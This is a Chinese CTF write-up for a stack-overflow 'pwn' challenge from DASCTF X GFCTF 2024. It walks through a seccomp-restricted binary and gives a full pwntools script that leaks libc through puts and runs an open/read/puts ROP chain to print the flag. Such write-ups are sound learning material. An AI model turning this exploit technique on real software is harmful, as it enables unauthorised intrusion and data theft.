周6打了一个比赛是buuctf上面上的一个比赛,叫“DASCTF X GFCTF 2024|四月开启第一局”,只持续了一天,不算难,算一个娱乐赛吧,一共有3个pwn题都是栈的题没有堆的题目,漏洞都比较明显,不过每一道题都有有坑的地方,比较考积累。最近一直在搞堆的知识,做题有一点生疏了,以后还是要找一点时间练练题,至少不能让手有生疏。
写这篇文章的时候已经是第二天的晚上了,3道题才做出来1道,也是今天下午才出来的,确实有一点慢了,这周看看能不能把剩下的那两道题也做出来,把wp写了。今天先把做出来的这道题遇到的坑和wp写一写。
第一题:pwn
老规矩,先checksec一下程序,还好保护基本没开,可以少考虑一点,那就进ida里找漏洞。
在ida中的main函数如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 int __cdecl main(int argc, const char **argv, const char **envp){ __int64 buf[4 ]; // [rsp+0h] [rbp-30h] BYREF unsigned __int64 v5; // [rsp+20h] [rbp-10h] unsigned __int64 i; // [rsp+28h] [rbp-8h] memset(buf, 0 , sizeof(buf)); v5 = read(0 , buf, 0x100uLL); for ( i = 0LL; i < v5; ++i ) { if ( *((_BYTE *)buf + i) == 0xF0 || *((_BYTE *)buf + i) == 0xE0 || *((_BYTE *)buf + i) == 0x80 || *((_BYTE *)buf + i) == 80 || *((_BYTE *)buf + i) == 0xB0 ) { puts("You must want to execute " ); puts("open read write puts openat readv writev " ); puts("\x1B[31;3;1myou are not allowed to execute!\x1B[0m" ); exit(0 ); } } return 0 ; }
漏洞以经很明显了,用read函数向buf中可以输入长度为0x100的数据但buf到rbp的距离为0x30,明显的栈溢出。再看看其他函数有没有问题,
在init函数中发现一个问题
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 void init(void) { __int64 v0; // [rsp+8h] [rbp-8h] setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); setbuf(stderr, 0LL); v0 = seccomp_init(2147418112LL); seccomp_rule_add(v0, 0LL, 59LL, 0LL); seccomp_rule_add(v0, 0LL, 322LL, 0LL); seccomp_rule_add(v0, 0LL, 9LL, 0LL); seccomp_rule_add(v0, 0LL, 10LL, 0LL); seccomp_rule_add(v0, 0LL, 41LL, 0LL); seccomp_rule_add(v0, 0LL, 56LL, 0LL); seccomp_rule_add(v0, 0LL, 101LL, 0LL); seccomp_load(v0); }
很明显在这个程序中已经开启了沙箱保护,可以看看用沙箱禁了哪些函数
看看哪些函数的后面为0013,那些函数便是被禁的函数。被禁的函数还有点多,不过我们主要看有俩个函数
execve
和mprotect
函数,前者代表不能直接获得shell只能使用orw的方法,第二个函数则代表在这里不能通过提升权限的方法来直接用shellcode,只能orw一个一个函数的调用了,
那么大致思路便基本出来了,通过栈溢出执行orw将flag打印在屏幕上,那先在看看都有哪些限制和差些什么。
回到main函数,在输入数据后会有一个循环将输入的数据都遍历一遍,如果检测到有与0xf0,0xe0,0x80,80,0xb0
相同的数据便会停止程序,输出一段字。因此在输入的时候要注意避开这几个数,在我做的这里变有一个需要注意的点,可能在有的libc版本中数据不用再意这点,不过远程已经没了,我只是在自己的本地,照本地的libc版本来的,各位看官在自己的本地上打记得要更据自己的libc版本做相应的改变。
由于使用orw的方法需要大量的pop指令,便来看看程序自带的pop指令,
太少了明显不够用,那必须要用的libc中的pop指令,便要知道这个程序中的libc_base(libc的基地址)是多少,将程序中的函数的got地址暴露出来,刚好在程序中有puts函数,那便用puts函数将程序中的puts函数的got地址暴露出来,然后由于在程序中没有再次输入的地方,便要再次回到main函数再次执行。
1 2 3 4 5 6 7 8 9 10 11 12 main=0x401386 //返回地址,为了继续执行 puts_plt=0x4010D4 puts_got=0x404028 pop_rdi_ret=0x401381 payload=flat(b'A' *0x38 ,p64(pop_rdi_ret),p64(puts_got),p64(puts_plt),p64(main)) io.sendline(payload) puts_libc=u64(io.recv(6 ).ljust(8 ,b'\x00' )) print ('puts_libc:' ,hex (puts_libc))
在执行完这段命令后便可以知道puts_got的地址,然后根据自身的libc版本中的puts函数的偏移地址,便可以知道libc_base的地址,在根据libc中的其他函数和pop指令的偏移地址,便可以知道所需的函数与pop指令的地址,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 elo=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6' ) puts=elo.symbols['puts' ] print ('puts:' ,hex (puts))base_libc=puts_libc-puts print ('base_libc:' ,hex (base_libc))open_libc=elo.symbols['open' ] read_libc=elo.symbols['read' ] open =open_libc+base_libc-1 //这里也是一个坑,在我的版本中如果直接使用open 的地址会有与之前那个相同的数字,程序不能被执行,这里我试过 //+1 发现没用,+1 后程序会直接不执行open ,但-1 虽然一开始不直接执行但在之后还是会执行完整个open 函数 read0=read_libc+base_libc print ('open:' ,hex (open ))print ('read0:' ,hex (read0))buf_flag=0x404090 //bss段中的空地址,在之后用来存放'./flag\x00\x00' read_plt=0x401100 buf=0x404100 //bss段中的空地址,在之后用来存放读取到的flag pop_rbp_ret=0x4011ed pop_rsi_ret_libc=0x2be51 pop_rsi_ret=pop_rsi_ret_libc+base_libc pop_rbp_r12_ret_libc=0x35730 //一开始忘了程序中有rbp的命令,在后面就没用了 pop_rbp_r12_ret=pop_rbp_r12_ret_libc+base_libc pop_rdx_r12_ret_libc=0x904a9 //一开始想只用rdx的,发现在我的这里用rdx的会触发之前的那个检测干脆换一个,将r12命令为0 就行 pop_rdx_r12_ret=pop_rdx_r12_ret_libc+base_libc
那现在已知的便是orw所必须open函数,read函数,puts函数的地址,已及需要调用的寄存器的值,那么现在还差的便是./flag
的地址,用于在open函数将flag打开。在程序中寻找,并没有找到有着段字符串,那么就要我们自己将./flag
通过调用read函数的方法注入到一个空的bss段地址中。如下
1 2 3 4 5 6 7 8 9 10 11 12 13 payload=flat(b'A' *0x38 ,p64(pop_rsi_ret),p64(buf_flag)) payload+=flat(p64(pop_rbp_ret),p64(1 ),p64(pop_rdx_r12_ret),p64(8 ),p64(0 )) payload+=flat(p64(read_plt),p64(main)) payload=payload.ljust(0x100 ,b'\00' ) io.send(payload) io.send(b'./flag\x00\x00' )//将存放地址的数据充填满8 个字节,使用\x00\x00
在这里有一个必须要注意的一点,我之前在直接输用数据栈溢出时,输入的数据并没有到达程序输入的最大值0x100,而是到我需要的就停止了。这里理论上并没有什么问题,但是在实操时会发现,程序会将后面才输入数据一同在这里录进去,直到满足0x100的长度。这样对我们后面的操作是绝对不行的,我上网查了一下,解决的方法有两种,一种是加上一个间断的时间函数使程序在输入该输入的数据就停下了,不将后面的数据录进去(很明显我不会),第二种,便是我使用的方法,直接注入程序能注入的最大值,将出了有效的数据其他都充填为垃圾数据。然后在输入后面的数据便不会出现程序在这里就将后面的数据一同录进去的事
到达这里那基本条件已经算完成了,可以开始orw的使用了,有关其基本操作这里不在细讲我之前的文章中有,可以去看看Wgiegie-pwn基操 | 纲的blog (2023478.github.io)
1 2 3 4 5 6 7 8 9 10 11 12 13 payload=flat(b'A' *0x38 ,p64(pop_rdi_ret),p64(buf_flag),p64(pop_rsi_ret),p64(0 )) payload+=flat(p64(pop_rbp_ret),p64(1 ),p64(open )) payload+=flat(p64(pop_rdi_ret),p64(3 ),p64(pop_rsi_ret),p64(buf)) payload+=flat(p64(pop_rdx_r12_ret),p64(0x30 ),p64(0 )) payload+=flat(p64(pop_rbp_ret),p64(1 ),p64(read_plt)) payload+=flat(p64(pop_rdi_ret),p64(buf),p64(puts_plt)) io.send(payload) io.interactive()
当然这个flag是我本地自己整的,比赛经没了,所以这里的我只能打本地。我总感觉如果打远程肯定还是会遇到问题,不过远程已经没了,就只能这样吧,以后遇到再说。
在这里我打时也遇到过一些问题,就比如之前关于open函数地址的语句中因为我直接使用这个函数地址时,又会被这前那个检测的数据,故我将其-1处理,这样也能执行到open函数,我之前还试过+1,这个不知道为什么不能用,希望有大佬能为我解答。
总exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *io=process('./pwn' ) context.log_level = 'debug' main=0x401386 puts_plt=0x4010D4 puts_got=0x404028 pop_rdi_ret=0x401381 payload=flat(b'A' *0x38 ,p64(pop_rdi_ret),p64(puts_got),p64(puts_plt),p64(main)) io.sendline(payload) puts_libc=u64(io.recv(6 ).ljust(8 ,b'\x00' )) print ('puts_libc:' ,hex (puts_libc))elo=ELF('/usr/lib/x86_64-linux-gnu/libc.so.6' ) puts=elo.symbols['puts' ] print ('puts:' ,hex (puts))base_libc=puts_libc-puts print ('base_libc:' ,hex (base_libc))open_libc=elo.symbols['open' ] read_libc=elo.symbols['read' ] open =open_libc+base_libc-1 read0=read_libc+base_libc print ('open:' ,hex (open ))print ('read0:' ,hex (read0))buf_flag=0x404090 read_plt=0x401100 buf=0x404100 pop_rbp_ret=0x4011ed pop_rsi_ret_libc=0x2be51 pop_rsi_ret=pop_rsi_ret_libc+base_libc pop_rbp_r12_ret_libc=0x35730 pop_rbp_r12_ret=pop_rbp_r12_ret_libc+base_libc pop_rdx_r12_ret_libc=0x904a9 pop_rdx_r12_ret=pop_rdx_r12_ret_libc+base_libc payload=flat(b'A' *0x38 ,p64(pop_rsi_ret),p64(buf_flag)) payload+=flat(p64(pop_rbp_ret),p64(1 ),p64(pop_rdx_r12_ret),p64(8 ),p64(0 )) payload+=flat(p64(read_plt),p64(main)) payload=payload.ljust(0x100 ,b'\00' ) io.send(payload) io.send(b'./flag\x00\x00' ) payload=flat(b'A' *0x38 ,p64(pop_rdi_ret),p64(buf_flag),p64(pop_rsi_ret),p64(0 )) payload+=flat(p64(pop_rbp_ret),p64(1 ),p64(open )) payload+=flat(p64(pop_rdi_ret),p64(3 ),p64(pop_rsi_ret),p64(buf)) payload+=flat(p64(pop_rdx_r12_ret),p64(0x30 ),p64(0 )) payload+=flat(p64(pop_rbp_ret),p64(1 ),p64(read_plt)) payload+=flat(p64(pop_rdi_ret),p64(buf),p64(puts_plt)) io.send(payload) io.interactive()
逆天官方,在qq群里说不发官方wp,还以为真的不发,结果又发出来了,放个链接吧
https://www.yuque.com/yuqueyonghu30d1fk/gd2y5h/nfeexx903ltettux